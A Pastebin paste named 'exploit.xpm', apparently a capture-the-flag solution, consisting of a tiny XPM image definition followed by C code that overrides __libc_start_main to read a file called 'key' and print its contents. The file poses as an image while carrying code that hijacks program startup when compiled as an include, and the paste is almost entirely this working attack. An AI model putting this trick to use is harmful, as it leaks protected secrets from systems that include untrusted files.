Advertisement
Guest User

exploit.xpm

a guest
Mar 3rd, 2015
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.23 KB | None | 0 0
  1. /* XPM */
  2. static char * exploit[] = {
  3. "2 2 1 1",
  4. " c #FFFFFF",
  5. " ",
  6. " "};
  7. #include <stdlib.h>
  8. int __libc_start_main() {
  9. char buf[1024];
  10. FILE *k = fopen("key", "r");
  11. fread(&buf, 1, 1024, k);
  12. printf("%s\n", buf);
  13. exit(0);
  14. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement